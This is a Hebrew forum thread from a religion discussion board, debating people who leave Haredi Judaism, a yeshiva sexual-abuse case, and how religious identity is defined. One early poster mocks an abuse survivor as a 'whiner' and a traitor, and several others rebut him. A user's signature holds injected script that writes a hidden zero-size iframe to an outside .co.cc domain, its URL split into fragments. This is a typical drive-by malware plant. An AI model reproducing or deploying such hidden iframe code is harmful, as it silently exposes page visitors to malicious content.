בית פורומים עצור כאן חושבים

השפעת טראומות ילדות וגיל ההתבגרות בחברות מיעוט תרבותיות על עיצוב הזהות האישית

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-11/7/2012 05:50 לינק ישיר 
השפעת טראומות ילדות וגיל ההתבגרות בחברות מיעוט תרבותיות על עיצוב הזהות האישית

כולנו מכירים את הרפת שאוהבים החוזרים בשאלה לזרוק כלפי הקהילה שגידלה אותם, ושאשמתי אותם בבכיינות באשכול הזה החוזרים בשאלה ומניעיהם בעמוד 75 אז נזעקה אמשלום היקרה להגן עליהם, והנה זעקתה שוב [מקסמן, איני חושבת שתגובתך ראויה. אם אתה מכיר את האיש הספציפי ויש לך טענות אישיות כלפיו - זכותך לומר אותן, אבל מן הביטוי בו השתמשת משתמע שכל מי שמתלונן על התעללות מינית הוא "בכיין". הרי אינך טוען שהוא שקרן, אלא רק שהוא מגזים בגודל הטראומה שלו, מרחם על עצמו וכו' (כל אלה משתמעים מן המילה "בכיין"). בעיניי זו לא רק תגובה גסת רוח היא גם טפשית, שכן היא מעוורת, מחרישה ומונעת ממך לראות את המציאות הכואבת והקשה בה אתה חי (כולנו חיים), ולפיכך גם מונעת ממך לתקן אותה. בכל מקרה, גם אם תבחר להמשיך את עיוורונך מרצון, איני חושבת שזה ראוי להתייחס כך למי שמעיד על עצמו שנפגע באופן כה קשה. אם אין לך עדויות שהוא משקר, אין לך שום זכות לזלזל בכאבו של אדם אחר, בודאי אם לא עמדת מעולם במקומו. אם לא חוכמה ורגישות, לפחות טיפטיפת נימוס אלמנטרי.] תגובתי לאמשלום היקרה  

אמשלום הבכיינות שלו כלפי החרדים כאילו שהחרדיות אשמה באסונו, כלפי אסונו בכללי לא התיחסתי כלל, שאר הביקורת שלך צודקת לגמרי, תגובתה של אמשלום היקרה לדברי
[מקסמן, הביטוי "בכיינות" (על כל המשתמע ממנו) אינו מתאים כאן כלל. הוא היה ילד שנפגע קשות ואף אחד לא עמד לצידו. בחוויה שלו, העולם כולו אשם במה שקרה לו ובעובדה שלא טופל. "העולם כולו" שלו, בתקופה ההיא, היה העולם החרדי. לכן מבחינתו הוא צודק לחלוטין. העובדה שברור שלא כל העולם החרדי כזה וגועל ואלימות יש בכל קהילה, אינה רלוונטית לדבריו - ילד מצפה שיגנו עליו ויטפלו בו ולא יתעללו בו, ומי שלא עומד בכך אינו ראוי לו.] עד כאן צטטתי משם, ובכן, לעצם העניין, כל חוזר בשאלה הוא מבחינת בוגד, בוגד במשפחתו בוגד בקהילתו, הדרך הפשוטה של כל אדם הגון היא לתקן את חברתו וקהילתו בתוכו פנימה, הבריחה מלתקן היא חולשה, האדם לא מודה בחולשתו ולכן מחפש אשמים ומתבכיין כל הזמן, כל תיקון שאדם דורש בא מסיבה שהוא נפגע או זולתו נפגע ולכן דורש הוא את התיקון, אדם שבורח ובוגד בחברתו ובא רק להאשים את כולם באסונותיו ?! הוא לדעתי בכיין ותו לא, מה יצא לו מיזה ? האם החברה החרדית תתקן את הצריך תיקון בגלל הסרט שלו ?? האם רוצה הוא בכלל שהחברה החרדית תתקן את עצמה ? מה הוא רוצה בכלל אם לא התבכיינות וצומי ? בתוך עמי אני יושב ואני מכיר את הסיפור, הבן של הראש ישיבה ההוא באמת היה תוקף בחורים, ואני מכיר אישית ראשי משפחות חרדיים שנפלו קורבן על ידי המנווול הזה, בכל זאת הם בעלי משפחות מכובדות בקהילה, כלומר גם עברו את אותו תקיפה וזה לא הזיק להם כלום, להפך חלק מהם עוסקים היום בחינוך ומתקנים כל מה שאפשר, לא יעלה על הדעת בשום חברה אנושית שייתנו למעשים שכאלה להעשות. ק"ו בחברה חרדית, החברה החרדית סובלת הרבה חומרות יתירות בגלל החשד הרחוק שמה מישהו יתקוף, כלומר רוב סבלם של הבחורים בישיבות מחומרות יתירות של הישיבה באים דווקא בגלל החשד הזה, ולכן האבסורד הגדול היא, שאייך שלא עושים מאשימים את החרדים, החוזרים בשאלה נזעקים על המחנק שיש בחברה החרדית במיוחד בישיבות, (שחלק מהם היא תוצאה מהרצון להגן עליהם ממנוולים כאלה) מצד שני מאשימים בחוסר השגחה ????????????????? אז אמשלום היקרה, אנא אל תהי תמימה, הבוגד ההוא פשוט בכיין ותו לא,

תוקן על ידי מנהלי_משנה ב- 11/07/2012 06:00:59


תוקן על ידי עצכח ב- 16/07/2012 11:54:37




תוקן על ידי עצכח ב- 16/07/2012 16:14:52





דווח על תוכן פוגעני

מנותק
נשלח ב-11/7/2012 06:26 לינק ישיר 

[מקסמן,

אני לא מגינה על מי שיצא מן החברה החרדית, רק בגלל שכך עשה, כמו שאיני מגנה את מי שחי בעולם החרדי רק בגלל שכך הוא עושה. זו האשמה שקרית. מצדי, תבקר כמה שאתה רוצה את אלה שאתה מכנה "בוגדים" (ואז אשאל אותך איך תכנה את מי שגדל בבית חילוני והחליט להתחרד). זה לא מה שכנגדו יצאתי כאן. אני פשוט מבקשת שבדבריך תפריד בין הביקורת שיש לך על מי שבחר לא להיות חרדי ובין יחסך אל מי שהושפל עד עפר ונפגע קשה ביותר ועכשיו מבקש לספר זאת - לא רק כדי לנסות ולהירפא בעצמו אלא גם אולי כדי לעזור לאחרים. 

כתבת - "בתוך עמי אני יושב ואני מכיר את הסיפור, הבן של הראש ישיבה ההוא באמת היה תוקף בחורים, ואני מכיר אישית ראשי משפחות חרדיים שנפלו קורבן על ידי המנווול הזה, בכל זאת הם בעלי משפחות מכובדות בקהילה, כלומר גם עברו את אותו תקיפה וזה לא הזיק להם כלום, להפך חלק מהם עוסקים היום בחינוך ומתקנים כל מה שאפשר"

אני מכירה מישהו שנפצע קשה במלחמת יוה"כ. הוא אמנם איבד את שתי רגליו, אבל התחתן והקים משפחה ואפילו עוזר בשיקום של נכי צה"ל אחרים. האם בגלל זה, מי שנפגע "רק" בידיו או בנפשו ממלחמה כלשהי אינו רשאי לבכות את כאבו ולהתריע מפני פגיעות נוספות? האם מי שנכותו אינה גלויה לעין בלתי מזויינת (כי היא בלב ובמוח ובלילה, בינו ובין עצמו ובינו ובין אשתו וילדיו בלבד), אינו ראוי לחמלה ולטיפול? מה זה השטויות האלה? מאין העוז והחוצפה שלך להכריז מי השתקם ומי לא, מי מתבכיין ומי נוהג באומץ? יש פגיעות שאין לך מושג היכן ומתי הן מתפרצות ומתגלה חומרתן, ויש אנשים שיודעים להסתיר היטב ולהתחפש ל"בריאים" (בודאי יש גם כאלה שלהם כוחות נפש גדולים יותר והם מסוגלים להתגבר טוב יותר על הכאב שחוו). לא לך ולי הזכות לשפוט מי טוב יותר או חזק יותר.] 




דדווח על תוכן פוגעני

מנותק
נשלח ב-11/7/2012 10:19 לינק ישיר 

מקסמן

קראתי אמנם רק במקופיא, אבל גם אם אני מבין את הרגש האמיתי שלך, עדיין אני סבור שביקורתך אינה מוצדקת. מכמה וכמה סיבות.

האחת בשל מה שכתבה אמשלום. וזה רגש אנושי. הכי אין עלינו לחוס על מי שנפגע? וכי כך עונים את המעונות או המעונים? לומר להם: תבכו בשקט?

שנית, הצעת לו לחזור לחברה שלו ולתקן. אבל אפילו לו יצוייר שיש לו כוחות לזה (ולפי מה שקראתי בשעתו בכתבה עליו, זמן רב מאד לא היו לו), האם החברה פתוחה לתיקונים שהוא מציע? ואם הוא, נניח, אינו מאמין באמונות המקובלות בחברה זו, מה יעשה? איך יישאר בה כאשר הסובלנות ההדדית היא אפס?

לא שאני בעד חזרה בשאלה ולא נגד האמונות התורניות (להבדיל מכ-ל המקובלות, שאולי לא כולן נכונות), אבל אני גם מבין לצערו העצום של אדם שסבל. ותמהני שאתה, לפי מה שראיתי כאן, לא גילית סובלנות כזו.

וכל זה אינו קשור כמעט כלל לנושא של חוזרים בשאלה. וחבל, אם כבר נפתח אשכול, שלא היתה הבדלהכבר בכותרת שלו בין "מניעיהם" לבין "נימוקיהם" או "הצדקותיהם". לדון במניע זה לעשות פסיכולוגיזציה לאדם. אין זה מכבד אותו ובוודאי שדיון כזה כמעט מונע ללמוד ממנו או לפחות לדון בשיקולים. לעומת זה, לדון בשיקולים ובנימוקים זה כבר יחס של כבוד אינטלקטואלי שעליו עומד הפורום הזה.

ומכאן קריאה למנהלים שמי שיכול ישנה את הכותרת ל"מניעיהם ונימוקיהם".

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 11/07/2012 10:21:00

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-11/7/2012 16:25 לינק ישיר 

לקרוא לאדם שפגעו בו ורצחו את נפשו בילדותו בכיין, זה כמו להתעלל בו נפשית ולמנוע ממנו להירפא. אדרבא המתעללים בו, ובכללם החברה שלא הגנה עליו, חייבים בנזק צער ריפוי שבת ובושת. מהבחינה הזאת, עד שלא ימלאו חובתם כלפיו, הם החוזרים בשאלה והוא החרדי בקיימו מצוות סור מרע.

   



דדווח על תוכן פוגעני

מחובר
נשלח ב-11/7/2012 18:42 לינק ישיר 

מ80, נסחפת אנושות.
מי שעזב את החברה הדתית ואינו מקיים מצוות אינו חרדי (בלי קשר לשאלה האם זו סיבה מוצדקת לעשות זאת או לא. אונסא לאו כמאן דעבד). גם אם בחברה הדתית/חרדית יש בעיות, ואפילו אם הבעיות הללו נוגעות למצוות ואיסורים, זה לא הופך את מי שעוזב אותה לחרדי. ובודאי שמי שאינו משלם צער וריפוי ושבת ובושת (בפרט כשאין חיוב כזה על החברה) אינו חוזר בשאלה.
אכן יש כאן בעיה חברתית קשה בעולם החרדי. אפשר לומר זאת כך.



דדווח על תוכן פוגעני

מנותק
נשלח ב-11/7/2012 19:09 לינק ישיר 

הרב מיכי,

המושגים "חרדי", "חברה דתית" וכו' הם מושגים שאולים מהגויים ואין להם יסוד מהתורה. חכמי ישראל הורו שמצוות בין אדם לחברו חשובות יותר ממצוות בין אדם למקום. לפיכך, אם אנשים המתעללים בילדים ועוברים על איסורים חמורים מהתורה נקראים חרדים כי הרבה אנשים התרגלו לדקדק במצוות בין אדם למקום ולראות בהם חזות הכל, ואילו נרדפים לא מוצאים את מקומם בחברה ועוד בזים להם, אזי על החברה לעשות חשבון נפש. עצם ההתיחסות של כותבים לאדם שהביע בסרט את כאבו רק על-פי השתייכותו המגזרית מעידה על אטימות-לב. מה הוא רחום וחנון, אף אתה תהא רחום וחנון.

 




תוקן על ידי מ80 ב- 11/07/2012 19:20:38




דדווח על תוכן פוגעני

מחובר
נשלח ב-11/7/2012 19:22 לינק ישיר 

מקסמן- אני מבקרת את החברה החרדית בגלל שההגבלות הללו לא פותרות את הבעיה. אלו כסת"חים ותו לא. תקיפות מיניות נובעות מאלימות ולא ממיניות ולכן הגבלות שנועדו למנוע יחסי מין בהסכמה בין גברים לא רלוונטיות. התוקף תמיד ימצא דרך לפרוק את האלימות, אם לא בישיבה אז במקום אחר. חברה מוסרית אמורה לדאוג שדברים כאלו לא יקרו בכלל ולא רק ב4 אמות האישיות של כל אחד. בשביל זה צריך לפתוח את הפצעים שמחברים מין ואלימות ולנקות את המוגלה. וזה כבר דורש נכונות לערער על יסודות מאוד עמוקים בתרבות.



דדווח על תוכן פוגעני

מנותק
נשלח ב-11/7/2012 20:31 לינק ישיר 

מ80, אני מקבל את הביקורת שלך על החברה. הערתי בעיקר על המינוח והסיווג שלך.
אבל אני לא  מקבל את ההגדרה בהודעה האחרונה שלך לגבי המצוות החשובות יותר או פחות. חברה ובודדים נכשלים במצוות ואיסורים שונים, חמורים יותר ופחות, ועדיין זה לא מוציא אותם מכלל דתיים או חרדים. לעומת זאת, מי שעוזב את קיום המצוות בכללו, ודאי אינו ראוי לכותרת 'דתי' או 'חרדי'. יש גבול ללוליינות.

העובדה ש'חרדי' אינו מונח הלכתי, גם 'דתי' אינו מונח כזה. אז מה? אנחנו דנים במונח הסוציולוגי הזה ולא בשאלה הלכתית.
אגב, עצם העובדה שמדובר במונחים סוציולוגיים ולא הלכתיים היא הנותנת. לכן החשיבות היחסית של המצוות עליה הצבעת אינה הקריטריון הרלוונטי לדיון שלנו. זה רלוונטי לדיון הלכתי או דתי. לעומת זאת, מה שרלוונטי כאן הוא קריטריון סוציולוגי, וכאן בצדק רב שמירת שבת ואכילת כשר הם מדדים נכונים יותר כדי לקבוע מיהו דתי מאשר רציחה, התעללות וכדומה. הסיבה לכך היא שכדי להגדיר מונח סוציולוגי אתה צריך להשתמש במאפיינים שמייחדים אותו ממושגים אחרים (המין ממינים אחרים ששייכים לאותו סוג). לכן להגדיר אדם כדתי או חרדי דרך זה  שהוא לא מתעלל או לא רוצח היא הגדרה שגויה. זו ההגדרה לאדם מוסרי ולא לאדם דתי. ההגדרה לאדם דתי צריכה להתייחס למאפיינים הייחודיים דווקא לו: אכילת כשר, טהרת המשפחה, שבת וכדו'.




דדווח על תוכן פוגעני

מנותק
נשלח ב-11/7/2012 21:18 לינק ישיר 

הרב מיכי,

אם חברה בוחרת לשים דגש על חלק מהמצוות ולהגדיר את זהותה הדתית בהתאם לקיומן, באותה מידה הרי היא חברה חילונית ביחס למצוות שאיננה מקיימת או איננה מזדהה עמן. התורה שבכתב נקראה ע"י חז"ל מוסר. להיות יהודי ירא שמים פירושו להשתדל להיות מוסרי. התורה כוללת מצוות שמעיות, מצוות בין אדם למקום, ומצוות שכליות, מצוות בין אדם לחברו. לכאורה צריך להגדיר את הזהות הדתית על-פי המצוות השמעיות, שהרי גם אדם לא דתי יכול לקיים את המצוות השכליות. אלא שאם המדות השכליות אינן מתוקנות, ממילא גם המצוות בין אדם למקום מקולקלות. והראיה לכך מחד תוכחות הנביאים ומאידך אנשי בית שני שעסקו בתורה ובמצוות ובגמילות חסדים, אולם בגלל תאוות ממון ושנאת חנם נחרב בית המקדש ומתמשכת הגלות.



דדווח על תוכן פוגעני

מחובר
נשלח ב-11/7/2012 21:34 לינק ישיר 

שמא אחד מהדברים המאפיינים את רוב החברה החרדית במונח הסוציולוגי, הם גם כפיית ההשתקה של מקרים אלו ביחד עם כל המקרים שיכולים להוציא שם רע על נושאי העגלה המלאה? 



דדווח על תוכן פוגעני

מחובר
נשלח ב-11/7/2012 22:43 לינק ישיר 

אל תדון את חבירך עד שתעמוד במקומו זה תמיד נכון ,
הטבע האנושי כדי לא לייסר את עצמו הוא להאשים את זולתו ולא את עצמו,
ןעדיין לרחם על מי שמתאכזר להוריו האוהבים והמשקיעים[אם הם רעים ואכזרים דינו שונה]בעזיבת דתם ונוחל להם סבל בלתי יתואר נפשית ובריאותית כאחד ,,על זה נאמר כל המרחם על האכזרים סופו.......
את המקרה הספציפי איני מכיר ולכן לא שייך לדון עליה כלל בפרט זה,,



דדווח על תוכן פוגעני

מחובר
נשלח ב-11/7/2012 22:46 לינק ישיר 

מ,
הסברתי שאני מדבר על סוציולוגיה, וביארתי בטוטו"ד מדוע ההגדרות הסוציולוגיות צריכות להיות במאפיינים המיוחדים. מה לא ברור כאן?
מי שיגדיר יהודי כמי שלובש מכנסיים והולך על שתי רגליים, זה בסדר  נמבחינתך? הרי זה ודאי נכון. זה אפילו מאד יסודי בהליכותיו (הוא כל הזמן עושה זאת, הרבה יותר מאשר לומד או מתפלל). אלא מאי? זה לא מייחד אותו משאר  בני אדם. הגדרה צריכה לתת את המאפיינים הייחודיים של המושג המוגדר: אוכל כשר, טהרת המשפחה, שבת וכדומה (ולא הימנעות מאלימות, מרצח ומגניבה).



דדווח על תוכן פוגעני

מנותק
נשלח ב-11/7/2012 23:06 לינק ישיר 

הרב מיכי,

מה לעשות התורה והנביאים וחז"ל לא סברו כמוך. התורה כולה כלולה בעשרת הדיברות בה הקב"ה ציוונו במפורש לזכור ולשמור את השבת ולא לרצוח ולא לגנוב ולא לנאוף. האיסורים מפורטים בפרשת קדושים המגדירה את ייחוד ישראל. אמר דוד: שלושה סימנים יש באומה זו רחמנים וביישנים וגומלי חסדים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-12/7/2012 00:24 לינק ישיר 

בקצרה:
החוזרים בשאלה מתחלקים לדתל"שים וחרד"לשים (דתיים לשעבר וחרדים לשעבר).

הנחות: 
1.
א. כל הדתות המונותאיסטיות הינן מערכות של הנחיות פרקטיות המבוססות על הנחות יסוד חסרות בסיס ו/או שקריות
(הנחה זו היא להוציא מדעת הטועים חברי אסכולת 'שמיים בתורה' וכן לייבוביץ' והברסלברס, שמנסים להתחמק מבעיית ערך האמת של הנחות היסוד על ידי הטענה שאין בהן צורך ('שמיים בתורה') או שחלק מהמצווה היא להאמין בהם (כאן לייבוביץ' מתאחד עם הברסלברס)
ב. כמו כן, הנחות אלו מאופיינות בסתירות פנימיות בינן לבין עצמן.
ג. סתירות פנימיות מהוות הוכחה לאי נכונות מערכת האקסיומות (להוציא מדברי הטועים כמו לייבוביץ' שפרדוקס לוגי אינו פרדוקס דתי - אמירת שטות על ידי פרופסור לא הופכת אותה לנכונה).

2. בחקירה לא מוטית ניתן לגלות כל זאת בקלות.

3. ללא ביסוס לוגי, הציות להנחיות הוא עניין של העדפה אישית.

מכאן:
אדם שיחקור בצורה לא מוטה יגיע למסקנה שאין בסיס מספק להנחיות הדת, והמידה בה יחליט לציית בכל זאת לדת היא עניין של העדפתו האישית (יש כאלו שמעדיפים לשכב עם ביילא ברכה ולצפות בסבטלנה כשביילא ברכה לא בבית, ויש שלהפך).


חרדל"שים

כמעט כל החרדל"שים שאני מכיר (אולי אחד לא) - אנשים שנסיבות שונות גרמו להם לחקור, וכך להגיע למסקנה שהדת חסרת בסיס מספק.
הנסיבות השונות יכולות להיות כל מיני: חשיפה מקרית לחומר כפרני, מסע של חקירה בעקבות אי נוחות מהחיים החרדיים (מכאן סיבה אחת למתאם בין קושי אישי לבין חזרה בשאלה - מי שנוח לו אינו נוטה לחקור).
לאחר שהגיעו למסקנה על חסרת בסיס מספק, ואז כאמור ההחלטה אם להשאר בפנים או לעזוב היא עניין של טעם אישי, הצעירים נוטים לעזוב - הקושי בחיים כחרדי אנוס גדול מהעניין שהם מוצאים בפרקטיקה החרדית הפגאנית. בנוסף, כאמור, אחת הנסיבות לחקירה היא קושי אישי בחיים החרדיים (וזו הסיבה השניה למתאם בין קושי אישי לבין חזרה בשאלה. הסיבה השלישית היא שהיציאה בשאלה היא חוויה טראומטית וגורמת בעצמה קושי רב, וזה עלול לגרום גם להעלאת חוויות קשות מהילדות). המבוגרים פחות (כשיש לך אשה וילדים מאמינים, קשה לעזוב).

הטיעון המחב"תי שהיציאה נגרמת בגלל 'תאייוועס' אינו מחזיק מים - אם המשמעות של הטענה היא שזה מה שגרם לאדם לחקור אז אין לה שום משמעות שלילית (זו אחת מהנסיבות שפרטתי למעלה). אם המשמעות היא שאין חקירה - זה פשוט לא קורה. חרדים שאין להם כוח לשמור מצוות הם חרדים שבאבניקים ולא יוצאים בשאלה. אם המשמעות היא שהחקירה מוטית - אולי. מאוד לא סביר. בכל מקרה, גם חקירה לא מוטית מביאה לאותן תוצאות.

חרדים שיוצאים בשאלה נוטים להיות אתאיסטים.





דתל"שים

מתחלקים לשניים:

חלקם נראים כמו החרדל"שים. אם כי יש להם קצת יותר אמפתיה ליהדות ויש מצב שהם נוטים להיות יותר דאיסטים.

החלק השני הם אנשים שלא מתחברים לקיום מצוות, או להֶיוֹת דתי, ולכן עוזבים. תופעה זו נעה על רצף, קיום מצוות באופן סלקטיבי עם או בלי כיפה על הראש, לבין יציאה בשאלה טוטאלית. אנשים אלו עדיין מאמינים בכל הממבו ג'מבו היהודי, והם מה שנקרא בהגדרה ההלכתית מומר לתיאבון או אצל המחב"תים יציאה בגלל תאייוועס (אם כי התאייוועס אינם בהכרח תשוקה מינית או רצון לאכול שרימפס אלא רצון לאהדה חברתית, למיצוי עצמי ולטעם בחיים). מנקודת מבטם, יש להם קשר אינטימי עם האל והם בטוחים ש'הוא והם ככה' כך שבוודאי הוא אוהב אותם בכל מקרה אותו דבר ולא יכעס עליהם על כך שהולכים לפי מה ש'נכון בעיניהם', או, כפי ששמעתי מאחת, היא חושבת שהאמור בתורה זה המלצות בלבד. זו המסקנה אליה היא הגיעה (לפי הדיונים האחרונים על אורתודוקסיה, גם האורתודוקסיה מדברת ככה בנושאים מסוימים).




דדווח על תוכן פוגעני

מנותק
נשלח ב-12/7/2012 04:51 לינק ישיר 



רציו,

והאם לדעתך יש הבדל בין השניים בהתנהגותם המוסרית לאחר היציאה ? אומרים שהראשונים, החרדל"שים, מכיוון שהמוסר אינו אצלם, בחינוך ובחברה, ערך העומד בפני עצמו, כלומר שמלבד המתחייב ממעמד הר סיני, ממשיך במקביל להתקיים מוקד החיוב של המוסר הטבעי, הרי שביציאתם, נוטים להשליך הכל וזאת בניגוד לאחרונים, הדתל"שים.



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/7/2012 05:04 לינק ישיר 

ביליצר כתב:
אל תדון את חבירך עד שתעמוד במקומו זה תמיד נכון ,
הטבע האנושי כדי לא לייסר את עצמו הוא להאשים את זולתו ולא את עצמו,
ןעדיין לרחם על מי שמתאכזר להוריו האוהבים והמשקיעים[אם הם רעים ואכזרים דינו שונה]בעזיבת דתם ונוחל להם סבל בלתי יתואר נפשית ובריאותית כאחד ,,על זה נאמר כל המרחם על האכזרים סופו.......
את המקרה הספציפי איני מכיר ולכן לא שייך לדון עליה כלל בפרט זה,,


[ביליצר,

האם היית אומר כך על כל מי שעזב את דרך הוריו (רק כשהם אוהבים ומשקיעים, כמובן...)? גם אם הם, למשל, חילונים או נוצרים?

ולפני שתשאל אותי בחזרה, אני אענה - להבנתי, אדם לא יכול לחיות את חייו באופן מסוים רק בגלל שלהוריו חיים מסוג זה התאימו. כלומר, הוא יכול, אבל זה יגרום לחוסר התאמה מוחלט בינו ובין המציאות בה הוא חי ואיני בטוחה שזה מתכון לאושר, או (בעבור מי שאושר אינו נראה לו חשוב מספיק) לחיים "יעילים" מבחינה מוסרית כלשהי. כל אחד מאיתנו מתמודד עם שאלות שהוריו (וסביו וסבי סביו וכו') לא נאלצו להתמודד, ובהכרח מאגר התשובות מהן יצטרך לבחור שונה גם הוא. זה נכון בכל מישורי החיים, ובתוך כך גם ברמה הפסיכולוגית (האישית) וגם ברמה החברתית והמוסרית.]




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > השפעת טראומות ילדות וגיל ההתבגרות בחברות מיעוט תרבותיות על עיצוב הזהות האישית
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 4 5 6 לדף הבא סך הכל 6 דפים.